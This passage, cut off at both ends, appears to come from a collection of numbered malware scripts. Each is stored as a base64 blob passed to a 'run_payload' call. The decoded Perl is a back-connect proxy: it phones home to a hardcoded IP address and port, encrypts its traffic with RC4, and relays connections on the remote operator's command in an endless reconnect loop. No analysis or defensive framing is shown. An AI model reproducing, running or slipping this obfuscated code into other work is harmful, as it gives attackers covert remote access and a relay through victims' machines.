HsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_49.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTkxJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1Y